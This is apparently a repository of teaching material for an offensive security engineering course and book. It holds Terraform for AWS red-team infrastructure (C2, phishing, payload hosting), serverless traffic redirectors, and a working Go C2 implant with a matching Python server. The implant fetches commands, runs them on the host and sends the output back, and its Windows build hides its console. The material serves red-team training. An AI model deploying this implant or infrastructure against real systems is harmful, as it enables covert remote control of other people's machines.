├── vagrant-ubuntu ├── .gitignore └── Vagrantfile ├── serverless-redirector └── flask-redirector │ ├── requirements.txt │ ├── package.json │ ├── serverless.yml │ ├── app.py │ ├── README.md │ └── package-lock.json ├── .gitignore ├── base-c2 ├── .gitignore ├── c2_setup.sh └── c2.tf ├── base-vpn ├── .gitignore └── vpn.tf ├── base-gophish ├── .gitignore └── gophish.tf ├── base-pwndrop ├── .gitignore └── pwndrop.tf ├── base-saltstack ├── .gitignore ├── top.sls ├── adduser │ └── init.sls ├── README.md ├── saltminion.tf └── saltmaster.tf ├── vagrant-kali └── Vagrantfile ├── golang-serverless-redirector-old ├── Makefile ├── .gitignore ├── README.md ├── redirector │ └── main.go └── serverless.yml ├── simple_c2_implant ├── README.md ├── simple_c2_server.py ├── Makefile └── main.go ├── README.md ├── Using_a_VM.md └── Course_References.md /vagrant-ubuntu/.gitignore: -------------------------------------------------------------------------------- 1 | .vagrant 2 | ubuntu-bionic-18.04-cloudimg-console.log -------------------------------------------------------------------------------- /serverless-redirector/flask-redirector/requirements.txt: -------------------------------------------------------------------------------- 1 | Flask==3.0.3 2 | urllib3==2.2.3 3 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | terraform.tfstate 2 | terraform.tfstate.backup 3 | .terraform 4 | .terraform.lock.hcl -------------------------------------------------------------------------------- /base-c2/.gitignore: -------------------------------------------------------------------------------- 1 | terraform.tfstate 2 | terraform.tfstate.backup 3 | .terraform 4 | .terraform.lock.hcl -------------------------------------------------------------------------------- /base-vpn/.gitignore: -------------------------------------------------------------------------------- 1 | terraform.tfstate 2 | terraform.tfstate.backup 3 | .terraform 4 | .terraform.lock.hcl -------------------------------------------------------------------------------- /vagrant-ubuntu/Vagrantfile: -------------------------------------------------------------------------------- 1 | Vagrant.configure("2") do |config| 2 | config.vm.box = "ubuntu/bionic64" 3 | end -------------------------------------------------------------------------------- /base-gophish/.gitignore: -------------------------------------------------------------------------------- 1 | terraform.tfstate 2 | terraform.tfstate.backup 3 | .terraform 4 | .terraform.lock.hcl -------------------------------------------------------------------------------- /base-pwndrop/.gitignore: -------------------------------------------------------------------------------- 1 | terraform.tfstate 2 | terraform.tfstate.backup 3 | .terraform 4 | .terraform.lock.hcl -------------------------------------------------------------------------------- /base-saltstack/.gitignore: -------------------------------------------------------------------------------- 1 | terraform.tfstate 2 | terraform.tfstate.backup 3 | .terraform 4 | .terraform.lock.hcl -------------------------------------------------------------------------------- /base-saltstack/top.sls: -------------------------------------------------------------------------------- 1 | file_roots: 2 | base: 3 | - /srv/salt 4 | 5 | base: 6 | '*': 7 | - adduser -------------------------------------------------------------------------------- /vagrant-kali/Vagrantfile: -------------------------------------------------------------------------------- 1 | Vagrant.configure("2") do |config| 2 | config.vm.box = "kalilinux/rolling" 3 | end 4 | -------------------------------------------------------------------------------- /base-c2/c2_setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Just a PoC right now...still WIP 3 | apt update 4 | apt install empire -y 5 | apt install golang -y 6 | go get github.com/Ne0nd0g/merlin 7 | apt install armitage -y 8 | -------------------------------------------------------------------------------- /base-saltstack/adduser/init.sls: -------------------------------------------------------------------------------- 1 | Add nix User: 2 | user.present: 3 | - name: gretchen 4 | - password: password 5 | - hash_password: True 6 | - home: /home/gretchen 7 | - optional_groups: 8 | - wheel 9 | - sudoers 10 | - root -------------------------------------------------------------------------------- /golang-serverless-redirector-old/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: build clean deploy 2 | 3 | build: 4 | env GOOS=linux go build -ldflags="-s -w" -o bin/redirector redirector/main.go 5 | 6 | clean: 7 | rm -rf ./bin 8 | 9 | deploy: clean build 10 | sls deploy --verbose 11 | -------------------------------------------------------------------------------- /serverless-redirector/flask-redirector/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "flask-redirector", 3 | "version": "1.0.0", 4 | "description": "Example of a Python Flask API service with traditional Serverless Framework", 5 | "author": "", 6 | "devDependencies": { 7 | "serverless-python-requirements": "^6.1.0", 8 | "serverless-wsgi": "^3.0.5" 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /golang-serverless-redirector-old/.gitignore: -------------------------------------------------------------------------------- 1 | # Serverless directories 2 | .serverless 3 | 4 | # golang output binary directory 5 | bin 6 | 7 | # Binaries for programs and plugins 8 | *.exe 9 | *.exe~ 10 | *.dll 11 | *.so 12 | *.dylib 13 | 14 | # Test binary, build with `go test -c` 15 | *.test 16 | 17 | # Output of the go coverage tool, specifically when used with LiteIDE 18 | *.out 19 | -------------------------------------------------------------------------------- /golang-serverless-redirector-old/README.md: -------------------------------------------------------------------------------- 1 | # Instructions 2 | 3 | 1. Configure HTTP/HTTPS parameter correctly in the URL string based on what connection type you have. 4 | 2. Run `make` to build the binaries 5 | 3. Run `sls deploy --server (your public ip/domain here)` 6 | 7 | 8 | If your build is giving you a hard time make sure you have the AWS lambda packages installed `go get -u github.com/aws/aws-lambda-go/lambda` -------------------------------------------------------------------------------- /simple_c2_implant/README.md: -------------------------------------------------------------------------------- 1 | # Simple C2 Implant 2 | 3 | You may need to set up the "shellwords" dependency first for this to compile correctly `go get github.com/mattn/go-shellwords` 4 | 5 | To compile the binaries simply make sure your gopath is configured and simply run `make` (this will make all the binaries for all supported platforms) or `make target-os` 6 | 7 | BEFORE you compile set your C2 endpoint URL in the 3 URL locations in the implant code. 8 | 9 | Challenge: Abstract that so you only have to modify the URL once or even parameterize it as part of the Makefile :) -------------------------------------------------------------------------------- /serverless-redirector/flask-redirector/serverless.yml: -------------------------------------------------------------------------------- 1 | # "org" ensures this Service is used with the correct Serverless Framework Access Key. 2 | org: YOURORGHERE 3 | # "app" enables Serverless Framework Dashboard features and sharing them with other Services. 4 | app: flask-redirector 5 | # "service" is the name of this project. This will also be added to your AWS resource names. 6 | service: flask-redirector 7 | 8 | custom: 9 | wsgi: 10 | app: app.app 11 | 12 | provider: 13 | name: aws 14 | runtime: python3.12 15 | 16 | functions: 17 | api: 18 | handler: wsgi_handler.handler 19 | events: 20 | - http: 21 | path: / 22 | method: ANY 23 | - http: 24 | path: /{proxy+} 25 | method: ANY 26 | 27 | plugins: 28 | - serverless-wsgi 29 | - serverless-python-requirements 30 | -------------------------------------------------------------------------------- /base-saltstack/README.md: -------------------------------------------------------------------------------- 1 | # Salt Project (formerly Salt Stack) Setup 2 | 3 | 1. Run `terraform apply` to spin up the servers 4 | 2. Follow the instructions to install the salt-master and salt-minions here: https://docs.saltproject.io/salt/install-guide/en/latest/topics/install-by-operating-system/linux-deb.html 5 | - `sudo apt install salt-master` on the master 6 | - `sudo apt install salt-minion` on the minions 7 | 3. Get master fingerprint `sudo salt-key -F master` 8 | 4. Configure minions with master address and fingerprint 9 | 5. Run `sudo salt-key -L` to list the minions 10 | 6. Run `sudo salt-key -A` to accept all the minions that are listed 11 | 7. Put states in `/srv/salt/adduser/init.sls` 12 | 8. Put top file in `/srv/salt/top.sls` 13 | 9. To see an example of what will happen before you apply the state across all systems, supply the "test" argument `sudo salt '*' state.apply test=true` 14 | 10. To apply the state across all systems `sudo salt '*' state.apply` 15 | -------------------------------------------------------------------------------- /golang-serverless-redirector-old/redirector/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | //"fmt" 5 | "log" 6 | "net/http" 7 | "io/ioutil" 8 | "os" 9 | "github.com/aws/aws-lambda-go/events" 10 | "github.com/aws/aws-lambda-go/lambda" 11 | ) 12 | 13 | // Handler function Using AWS Lambda Proxy Request 14 | func Handler(request events.APIGatewayProxyRequest) (events.APIGatewayProxyResponse, error) { 15 | 16 | 17 | server := os.Getenv("SERVER") 18 | 19 | //Get the path parameter that was sent 20 | path := request.Path 21 | 22 | url := "http://" + server + path 23 | resp, err := http.Get(url) 24 | if err != nil { 25 | log.Fatalln(err) 26 | } 27 | 28 | body, err := ioutil.ReadAll(resp.Body) 29 | 30 | if err != nil { 31 | log.Fatalln(err) 32 | } 33 | 34 | 35 | //Generate message that want to be sent as body 36 | //message := fmt.Sprintf(" { \"Message\" : \"Hello %s \" } ", url) 37 | 38 | //Returning response with AWS Lambda Proxy Response 39 | return events.APIGatewayProxyResponse{Body: string(body), StatusCode: 200}, nil 40 | } 41 | 42 | func main() { 43 | lambda.Start(Handler) 44 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Offensive Security Engineering 2 | Various materials, scripts, and configurations for my book [Red Team Engineering](https://nostarch.com/red-team) (No Starch Press, 2026). 3 | 4 | Also the supporting material for my Offensive Security Engineering Course on Udemy 5 | 6 | Link to the course: [Offensive Security Engineering](https://www.udemy.com/course/offensive-security-engineering/?referralCode=B561E056323FA1B9C4C2) 7 | 8 | For all Terraform projects you will need to generate a PEM file in AWS to ssh into your servers. You can call it whatever you would like, but be sure to change the name in the Terraform configuration to whatever you set. 9 | 10 | You will also need to subscribe to the following AWS Marketplace AMIs to query them properly if using Terraform: 11 | - Ubuntu: https://aws.amazon.com/marketplace/pp/B07CQ33QKV 12 | - Kali: https://aws.amazon.com/marketplace/pp/B08LL91KKB 13 | 14 | ## References: 15 | - **[Course References](https://github.com/3ndG4me/Offensive-Security-Engineering/blob/master/Course_References.md)** 16 | - **[Manual Configuration Reference](https://github.com/3ndG4me/Offensive-Security-Engineering/blob/master/Using_a_VM.md)** 17 | -------------------------------------------------------------------------------- /serverless-redirector/flask-redirector/app.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, jsonify, make_response, request 2 | import json 3 | import urllib3 4 | 5 | http = urllib3.PoolManager() 6 | app = Flask(__name__) 7 | 8 | def redirect(path): 9 | query = request.query_string.decode() 10 | 11 | host = "https://injection.sh" 12 | 13 | if path != '': 14 | host += "/" + path 15 | 16 | if query != '': 17 | host += "?" + query # Replace with your API URL 18 | 19 | try: 20 | # Make the GET request 21 | response = http.request('GET', host) 22 | 23 | return { 24 | 'statusCode': 200, 25 | 'body': response.data.decode('utf-8') # Decode the response from bytes to string 26 | } 27 | except Exception as e: 28 | print(f"Error: {str(e)}") 29 | return { 30 | 'statusCode': 500, 31 | 'body': json.dumps({ 32 | 'error': str(e) 33 | }) 34 | } 35 | 36 | @app.route("/") 37 | def index_route(): 38 | return redirect('') 39 | 40 | @app.route('/') 41 | def catch_all(path): 42 | return redirect(path) 43 | 44 | @app.errorhandler(404) 45 | def resource_not_found(e): 46 | return make_response(jsonify(error='Not found!'), 404) 47 | 48 | -------------------------------------------------------------------------------- /simple_c2_implant/simple_c2_server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from http.server import BaseHTTPRequestHandler, HTTPServer 4 | import urllib.parse 5 | 6 | # HTTPRequestHandler class 7 | class testHTTPServer_RequestHandler(BaseHTTPRequestHandler): 8 | 9 | # GET 10 | def do_GET(self): 11 | if self.path == "/agent-check-in": 12 | print("Agent is ready!") 13 | elif self.path != "/": 14 | output = urllib.parse.unquote(self.path) 15 | print("Agent Returned: " + output) 16 | 17 | # Supply next command 18 | cmd = input("Command > ") 19 | 20 | # Send response status code 21 | self.send_response(200) 22 | 23 | # Send headers 24 | self.send_header('Content-type','text/html') 25 | self.end_headers() 26 | 27 | # Write content as utf-8 data 28 | self.wfile.write(bytes(cmd, "utf8")) 29 | 30 | return 31 | 32 | def run(): 33 | print('Starting Simple C2 Server :)') 34 | 35 | # Server settings 36 | # Choose port 8080, for port 80, which is normally used for a http server, you need root access 37 | server_address = ('127.0.0.1', 1337) 38 | httpd = HTTPServer(server_address, testHTTPServer_RequestHandler) 39 | print('Sever initialized') 40 | httpd.serve_forever() 41 | 42 | 43 | 44 | 45 | run() 46 | 47 | 48 | -------------------------------------------------------------------------------- /Using_a_VM.md: -------------------------------------------------------------------------------- 1 | # Using a VM Instead of AWS for this Course 2 | 3 | If you are in a predicament where you need to make use of a VM and test these techniques locally you have two options. 4 | 5 | 1. Use the provided Ubuntu and Kali Linux Vagrantfiles 6 | 2. Manually configure your own VMs 7 | 8 | The course references will provide links to documentation on setting up and using Vagrant, but in either case you will likely need to install Virtualbox at minimum. 9 | 10 | If you are using Vagrant, and need to spin up multiple VMs, simply copy and rename the directory containing the Vagrantfile you would like to use, and issue the `vagrant up` command. 11 | 12 | The following example shows how to do that with the Ubuntu VM: 13 | 1. `cp -r /path/to/vagrant-ubuntu /path/to/vagrant-ubuntu-2` 14 | 2. `cd /path/to/vagrant-ubuntu-2` 15 | 3. `vagrant up` 16 | 17 | These same steps can be followed to set up as many VMs as you need for a given exercise. This course still has a heavy emphasis on Terraform, so if you are following along manually you will still need to learn Terraform to convert the IaC into manual steps. 18 | 19 | Manual steps will explicitly **not** be provided as the goal either way should be to understand the Terraform well enough to either use it, or translate it. 20 | 21 | Feel free to document the manual steps you come up with and share them. You are even encouraged to automate them locally with whatever tooling you choose. 22 | -------------------------------------------------------------------------------- /base-saltstack/saltminion.tf: -------------------------------------------------------------------------------- 1 | data "aws_ami" "ubuntu_minion" { 2 | most_recent = "true" 3 | owners = ["aws-marketplace"] 4 | count = 2 5 | 6 | filter { 7 | name = "name" 8 | values = ["f991a988-22fb-4c72-a790-09e227224ea5.3b73ef49-208f-47e1-8a6e-4ae768d8a333.DC0001"] 9 | } 10 | 11 | filter { 12 | name = "virtualization-type" 13 | values = ["hvm"] 14 | } 15 | } 16 | 17 | 18 | 19 | resource "aws_security_group" "ssh_group" { 20 | name = "ssh_group" 21 | description = "Allow Ports for SSH access" 22 | 23 | # ssh for remote access, might want to lock down to your IP prior to rolling out 24 | ingress { 25 | from_port = 22 26 | to_port = 22 27 | protocol = "tcp" 28 | cidr_blocks = [var.access_addr] 29 | } 30 | 31 | egress { 32 | from_port = 0 33 | to_port = 0 34 | protocol = "-1" 35 | cidr_blocks = ["0.0.0.0/0"] 36 | } 37 | } 38 | 39 | resource "aws_instance" "secondary_salt" { 40 | 41 | count = length(data.aws_ami.ubuntu_minion) 42 | 43 | ami = data.aws_ami.ubuntu_minion[count.index].id 44 | instance_type = "t2.micro" 45 | security_groups = [aws_security_group.ssh_group.name] 46 | key_name = "primary-c2-key" 47 | 48 | 49 | tags = { 50 | Name = "Secondary salt" 51 | } 52 | } 53 | 54 | 55 | output "Minion_One" { 56 | value = aws_instance.secondary_salt[0].public_ip 57 | } 58 | 59 | output "Minion_Two" { 60 | value = aws_instance.secondary_salt[1].public_ip 61 | } 62 | -------------------------------------------------------------------------------- /simple_c2_implant/Makefile: -------------------------------------------------------------------------------- 1 | # !!!MAKE SURE YOUR GOPATH ENVIRONMENT VARIABLE IS SET FIRST!!! 2 | 3 | # Variables 4 | DIR=builds/ 5 | AGENT=agent 6 | WINAGENTLDFLAGS=-ldflags "-H=windowsgui" 7 | W=Windows-x64 8 | L=Linux-x64 9 | A=Linux-arm 10 | M=Linux-mips 11 | D=Darwin-x64 12 | 13 | # Make Directory to store executables 14 | $(shell mkdir -p ${DIR}) 15 | 16 | # Change default to just make for the host OS and add MAKE ALL to do this 17 | default: agent-windows agent-linux agent-darwin 18 | 19 | all: default 20 | 21 | # Compile Windows binaries 22 | windows: agent-windows 23 | 24 | # Compile Linux binaries 25 | linux: agent-linux 26 | 27 | # Compile Arm binaries 28 | arm: agent-arm 29 | 30 | # Compile mips binaries 31 | mips: agent-mips 32 | 33 | # Compile Darwin binaries 34 | darwin: agent-darwin 35 | 36 | # Compile Agent - Windows x64 37 | agent-windows: 38 | export GOOS=windows GOARCH=amd64;go build ${WINAGENTLDFLAGS} -o ${DIR}/${AGENT}-${W}.exe main.go 39 | 40 | # Compile Agent - Linux mips 41 | agent-mips: 42 | export GOOS=linux;export GOARCH=mips;go build -o ${DIR}/${AGENT}-${M} main.go 43 | 44 | # Compile Agent - Linux arm 45 | agent-arm: 46 | export GOOS=linux;export GOARCH=arm;export GOARM=7;go build -o ${DIR}/${AGENT}-${A} main.go 47 | 48 | # Compile Agent - Linux x64 49 | agent-linux: 50 | export GOOS=linux;export GOARCH=amd64;go build -o ${DIR}/${AGENT}-${L} main.go 51 | 52 | # Compile Agent - Darwin x64 53 | agent-darwin: 54 | export GOOS=darwin;export GOARCH=amd64;go build -o ${DIR}/${AGENT}-${D} main.go 55 | 56 | clean: 57 | rm -rf ${DIR}* 58 | 59 | -------------------------------------------------------------------------------- /base-vpn/vpn.tf: -------------------------------------------------------------------------------- 1 | # Configure the AWS Provider 2 | provider "aws" { 3 | region = "us-east-2" 4 | } 5 | 6 | data "aws_ami" "ubuntu" { 7 | most_recent = "true" 8 | owners = ["aws-marketplace"] 9 | 10 | filter { 11 | name = "name" 12 | values = ["ubuntu/images/hvm-ssd/ubuntu-jammy-22.04-amd64-server-*"] 13 | } 14 | 15 | filter { 16 | name = "virtualization-type" 17 | values = ["hvm"] 18 | } 19 | } 20 | 21 | 22 | # Put your IP here to whitelist it for ssh 23 | 24 | variable "access_addr" { 25 | type = string 26 | default = "0.0.0.0/0" 27 | 28 | } 29 | 30 | resource "aws_security_group" "vpn_group" { 31 | name = "vpn_group" 32 | description = "Allow Ports for VPN and SSH access" 33 | 34 | # Open the default OpenVPN Port 35 | ingress { 36 | from_port = 1194 37 | to_port = 1194 38 | protocol = "udp" 39 | cidr_blocks = ["0.0.0.0/0"] 40 | } 41 | 42 | 43 | 44 | # ssh for remote access, might want to lock down to your IP prior to rolling out 45 | ingress { 46 | from_port = 22 47 | to_port = 22 48 | protocol = "tcp" 49 | cidr_blocks = [var.access_addr] 50 | } 51 | 52 | egress { 53 | from_port = 0 54 | to_port = 0 55 | protocol = "-1" 56 | cidr_blocks = ["0.0.0.0/0"] 57 | } 58 | } 59 | 60 | resource "aws_instance" "primary_vpn" { 61 | ami = data.aws_ami.ubuntu.id 62 | instance_type = "t2.micro" 63 | security_groups = [aws_security_group.vpn_group.name] 64 | key_name = "primary-c2-key" 65 | 66 | 67 | tags = { 68 | Name = "Primary vpn" 69 | } 70 | } 71 | 72 | output "IP" { 73 | value = aws_instance.primary_vpn.public_ip 74 | } 75 | -------------------------------------------------------------------------------- /base-saltstack/saltmaster.tf: -------------------------------------------------------------------------------- 1 | # Configure the AWS Provider 2 | provider "aws" { 3 | region = "us-east-2" 4 | } 5 | 6 | data "aws_ami" "ubuntu_master" { 7 | most_recent = "true" 8 | owners = ["aws-marketplace"] 9 | 10 | filter { 11 | name = "name" 12 | values = ["f991a988-22fb-4c72-a790-09e227224ea5.3b73ef49-208f-47e1-8a6e-4ae768d8a333.DC0001"] 13 | } 14 | 15 | filter { 16 | name = "virtualization-type" 17 | values = ["hvm"] 18 | } 19 | } 20 | 21 | 22 | # Put your IP here to whitelist it for ssh 23 | 24 | variable "access_addr" { 25 | type = string 26 | default = "0.0.0.0/0" 27 | 28 | } 29 | 30 | resource "aws_security_group" "salt_group" { 31 | name = "salt_group" 32 | description = "Allow Ports for salt master and ssh access" 33 | 34 | # Open the default Opensalt Port. It's recommdended you scope this to internal IP space but that all depends on the scope of your configuration 35 | ingress { 36 | from_port = 4505 37 | to_port = 4506 38 | protocol = "tcp" 39 | cidr_blocks = ["0.0.0.0/0"] 40 | } 41 | 42 | # ssh for remote access, might want to lock down to your IP prior to rolling out 43 | ingress { 44 | from_port = 22 45 | to_port = 22 46 | protocol = "tcp" 47 | cidr_blocks = [var.access_addr] 48 | } 49 | 50 | egress { 51 | from_port = 0 52 | to_port = 0 53 | protocol = "-1" 54 | cidr_blocks = ["0.0.0.0/0"] 55 | } 56 | } 57 | 58 | resource "aws_instance" "primary_salt" { 59 | 60 | ami = data.aws_ami.ubuntu_master.id 61 | instance_type = "t2.micro" 62 | security_groups = [aws_security_group.salt_group.name] 63 | key_name = "primary-c2-key" 64 | 65 | 66 | tags = { 67 | Name = "Primary salt" 68 | } 69 | } 70 | 71 | 72 | output "Salt_Master" { 73 | value = aws_instance.primary_salt.public_ip 74 | } 75 | -------------------------------------------------------------------------------- /base-gophish/gophish.tf: -------------------------------------------------------------------------------- 1 | # Configure the AWS Provider 2 | provider "aws" { 3 | region = "us-east-2" 4 | } 5 | 6 | # Subscribe to latest Kali instance in market place first! https://aws.amazon.com/marketplace/pp/prodview-fznsw3f7mq7to 7 | data "aws_ami" "kali" { 8 | most_recent = true 9 | owners = ["679593333241"] 10 | 11 | filter { 12 | name = "name" 13 | values = ["kali-last-snapshot-amd64-2024.4.1-804fcc46-63fc-4eb6-85a1-50e66d6c7215"] 14 | } 15 | 16 | } 17 | 18 | 19 | # Put your IP here to whitelist it for ssh 20 | 21 | variable "access_addr" { 22 | type = string 23 | default = "0.0.0.0/0" 24 | 25 | } 26 | 27 | resource "aws_security_group" "phish_group" { 28 | name = "phish_group" 29 | description = "Allow Ports for GoPhish and SSH access" 30 | 31 | # Open common web ports for GoPhish 32 | ingress { 33 | from_port = 80 34 | to_port = 80 35 | protocol = "tcp" 36 | cidr_blocks = ["0.0.0.0/0"] 37 | } 38 | 39 | ingress { 40 | from_port = 443 41 | to_port = 443 42 | protocol = "tcp" 43 | cidr_blocks = ["0.0.0.0/0"] 44 | } 45 | 46 | 47 | # ssh for remote access, might want to lock down to your IP prior to rolling out 48 | ingress { 49 | from_port = 22 50 | to_port = 22 51 | protocol = "tcp" 52 | cidr_blocks = [var.access_addr] 53 | } 54 | 55 | egress { 56 | from_port = 0 57 | to_port = 0 58 | protocol = "-1" 59 | cidr_blocks = ["0.0.0.0/0"] 60 | } 61 | } 62 | 63 | resource "aws_instance" "primary_phish" { 64 | ami = data.aws_ami.kali.id 65 | instance_type = "t2.micro" 66 | security_groups = [aws_security_group.phish_group.name] 67 | key_name = "primary-c2-key" 68 | 69 | tags = { 70 | Name = "Primary Phish" 71 | } 72 | } 73 | 74 | output "IP" { 75 | value = aws_instance.primary_phish.public_ip 76 | } 77 | -------------------------------------------------------------------------------- /base-pwndrop/pwndrop.tf: -------------------------------------------------------------------------------- 1 | # Configure the AWS Provider 2 | provider "aws" { 3 | region = "us-east-2" 4 | } 5 | 6 | data "aws_ami" "ubuntu" { 7 | most_recent = "true" 8 | owners = ["aws-marketplace"] 9 | 10 | filter { 11 | name = "name" 12 | values = ["ubuntu/images/hvm-ssd/ubuntu-jammy-22.04-amd64-server-*"] 13 | } 14 | 15 | filter { 16 | name = "virtualization-type" 17 | values = ["hvm"] 18 | } 19 | } 20 | 21 | 22 | 23 | # Put your IP here to whitelist it for ssh 24 | 25 | variable "access_addr" { 26 | type = string 27 | default = "0.0.0.0/0" 28 | 29 | } 30 | 31 | resource "aws_security_group" "pwndrop_group" { 32 | name = "pwndrop_group" 33 | description = "Allow Ports for pwndrop and SSH access" 34 | 35 | # Open the default WebDav/HTTP Port 36 | ingress { 37 | from_port = 80 38 | to_port = 80 39 | protocol = "tcp" 40 | cidr_blocks = ["0.0.0.0/0"] 41 | } 42 | 43 | 44 | # Open the default HTTPS Port 45 | ingress { 46 | from_port = 443 47 | to_port = 443 48 | protocol = "tcp" 49 | cidr_blocks = ["0.0.0.0/0"] 50 | } 51 | 52 | # Open the default DNS Port 53 | ingress { 54 | from_port = 53 55 | to_port = 53 56 | protocol = "udp" 57 | cidr_blocks = ["0.0.0.0/0"] 58 | } 59 | 60 | # ssh for remote access, might want to lock down to your IP prior to rolling out 61 | ingress { 62 | from_port = 22 63 | to_port = 22 64 | protocol = "tcp" 65 | cidr_blocks = [var.access_addr] 66 | } 67 | 68 | egress { 69 | from_port = 0 70 | to_port = 0 71 | protocol = "-1" 72 | cidr_blocks = ["0.0.0.0/0"] 73 | } 74 | } 75 | 76 | resource "aws_instance" "primary_pwndrop" { 77 | ami = data.aws_ami.ubuntu.id 78 | instance_type = "t2.micro" 79 | security_groups = [aws_security_group.pwndrop_group.name] 80 | key_name = "primary-c2-key" 81 | 82 | 83 | tags = { 84 | Name = "Primary pwndrop" 85 | } 86 | } 87 | 88 | output "IP" { 89 | value = aws_instance.primary_pwndrop.public_ip 90 | } 91 | -------------------------------------------------------------------------------- /simple_c2_implant/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import( 4 | "net/http" 5 | //"log" 6 | "net/url" 7 | "io/ioutil" 8 | "regexp" 9 | "os/exec" 10 | "time" 11 | //"fmt" 12 | 13 | // 3rd Party 14 | "github.com/mattn/go-shellwords" 15 | ) 16 | 17 | func main(){ 18 | const cmd_delay time.Duration = 10 19 | init := 0 20 | for { 21 | init = GetCmd(init) 22 | time.Sleep(cmd_delay * time.Second) 23 | } 24 | } 25 | 26 | 27 | func GetCmd(init int) (int){ 28 | 29 | var url string 30 | 31 | if (init == 0){ 32 | url = "https://127.0.0.1/agent-check-in" 33 | }else{ 34 | url = "https://127.0.0.1/" 35 | } 36 | resp, err := http.Get(url) 37 | if err != nil { 38 | //log.Fatalln(err) 39 | return 0 40 | } 41 | 42 | body, err := ioutil.ReadAll(resp.Body) 43 | 44 | if err != nil { 45 | //log.Fatalln(err) 46 | return 0 47 | } 48 | 49 | var out []byte 50 | 51 | re := regexp.MustCompile(`^([^\s]+)`) 52 | cmdParsed := re.FindStringSubmatch(string(body)) 53 | cmd := cmdParsed[0] 54 | 55 | re = regexp.MustCompile(`\s(.*)`) 56 | argParsed := re.FindStringSubmatch(string(body)) 57 | var arg string 58 | 59 | if len(argParsed) > 0{ 60 | arg = argParsed[0] 61 | } 62 | 63 | // Debugging commmand input 64 | //fmt.Println("Command is: " + cmd + " " + arg) 65 | 66 | argS, err := shellwords.Parse(arg) 67 | 68 | if err != nil { 69 | //log.Fatalln(err) 70 | return 0 71 | } 72 | 73 | 74 | if cmd != "" && len(argS) > 0 { 75 | out, err = exec.Command(cmd, argS...).Output() 76 | } else if cmd != "" { 77 | out, err = exec.Command(cmd).Output() 78 | } 79 | 80 | if err != nil { 81 | //log.Fatalln(err) 82 | return 0 83 | } 84 | 85 | SendResponse(string(out)) 86 | return 1 87 | } 88 | 89 | // Send Response to our C2 90 | 91 | func SendResponse(output string){ 92 | 93 | url := "https://127.0.0.1/" + url.PathEscape(output) 94 | _, err := http.Get(url) 95 | if err != nil { 96 | //log.Fatalln(err) 97 | return 98 | } 99 | 100 | } 101 | -------------------------------------------------------------------------------- /base-c2/c2.tf: -------------------------------------------------------------------------------- 1 | # Configure the AWS Provider 2 | provider "aws" { 3 | region = "us-east-2" 4 | } 5 | 6 | # Subscribe to latest Kali instance in market place first! https://aws.amazon.com/marketplace/pp/prodview-fznsw3f7mq7to 7 | data "aws_ami" "kali" { 8 | most_recent = true 9 | owners = ["679593333241"] 10 | 11 | filter { 12 | name = "name" 13 | values = ["kali-last-snapshot-amd64-2024.4.1-804fcc46-63fc-4eb6-85a1-50e66d6c7215"] 14 | } 15 | 16 | } 17 | 18 | # Put your IP here to whitelist it for ssh 19 | 20 | variable "access_addr" { 21 | type = string 22 | default = "0.0.0.0/0" 23 | 24 | } 25 | 26 | resource "aws_security_group" "c2_group" { 27 | name = "c2_group" 28 | description = "Allow Ports for C2 Listeners and SSH access" 29 | 30 | # Open common web ports for C2 31 | ingress { 32 | from_port = 80 33 | to_port = 80 34 | protocol = "tcp" 35 | cidr_blocks = ["0.0.0.0/0"] 36 | } 37 | 38 | ingress { 39 | from_port = 443 40 | to_port = 443 41 | protocol = "tcp" 42 | cidr_blocks = ["0.0.0.0/0"] 43 | } 44 | 45 | # Some more 1337 ports for c2 for fun 46 | ingress { 47 | from_port = 1337 48 | to_port = 1339 49 | protocol = "tcp" 50 | cidr_blocks = ["0.0.0.0/0"] 51 | } 52 | 53 | ingress { 54 | from_port = 31337 55 | to_port = 31337 56 | protocol = "tcp" 57 | cidr_blocks = ["0.0.0.0/0"] 58 | } 59 | # Armitage Teamserver port for multiplayer, might want to restrict by IP... 60 | ingress { 61 | from_port = 55553 62 | to_port = 55553 63 | protocol = "tcp" 64 | cidr_blocks = ["0.0.0.0/0"] 65 | } 66 | 67 | 68 | # c2 to ports that are over 9000, also for fun 69 | ingress { 70 | from_port = 9001 71 | to_port = 9999 72 | protocol = "tcp" 73 | cidr_blocks = ["0.0.0.0/0"] 74 | } 75 | 76 | # wide range of abitrary ports including some non standard web ports for c2 77 | ingress { 78 | from_port = 8080 79 | to_port = 9090 80 | protocol = "tcp" 81 | cidr_blocks = ["0.0.0.0/0"] 82 | } 83 | 84 | # ssh for remote access, might want to lock down to your IP prior to rolling out 85 | ingress { 86 | from_port = 22 87 | to_port = 22 88 | protocol = "tcp" 89 | cidr_blocks = [var.access_addr] 90 | } 91 | 92 | egress { 93 | from_port = 0 94 | to_port = 0 95 | protocol = "-1" 96 | cidr_blocks = ["0.0.0.0/0"] 97 | } 98 | } 99 | 100 | resource "aws_instance" "primary_c2" { 101 | ami = data.aws_ami.kali.id 102 | instance_type = "t2.micro" 103 | security_groups = [aws_security_group.c2_group.name] 104 | key_name = "primary-c2-key" 105 | 106 | provisioner "file" { 107 | source = "c2_setup.sh" 108 | destination = "/tmp/c2_setup.sh" 109 | connection { 110 | type = "ssh" 111 | user = "kali" 112 | private_key = file("~/.ssh/primary-c2-key.pem") 113 | host = self.public_ip 114 | } 115 | } 116 | 117 | provisioner "remote-exec" { 118 | inline = ["chmod +x /tmp/c2_setup.sh && sudo /tmp/c2_setup.sh"] 119 | connection { 120 | type = "ssh" 121 | user = "kali" 122 | private_key = file("~/.ssh/primary-c2-key.pem") 123 | host = self.public_ip 124 | } 125 | } 126 | 127 | tags = { 128 | Name = "Primary C2" 129 | } 130 | } 131 | 132 | output "IP" { 133 | value = aws_instance.primary_c2.public_ip 134 | } 135 | -------------------------------------------------------------------------------- /golang-serverless-redirector-old/serverless.yml: -------------------------------------------------------------------------------- 1 | # Welcome to Serverless! 2 | # 3 | # This file is the main config file for your service. 4 | # It's very minimal at this point and uses default values. 5 | # You can always add more config options for more control. 6 | # We've included some commented out config examples here. 7 | # Just uncomment any of them to get that config option. 8 | # 9 | # For full config options, 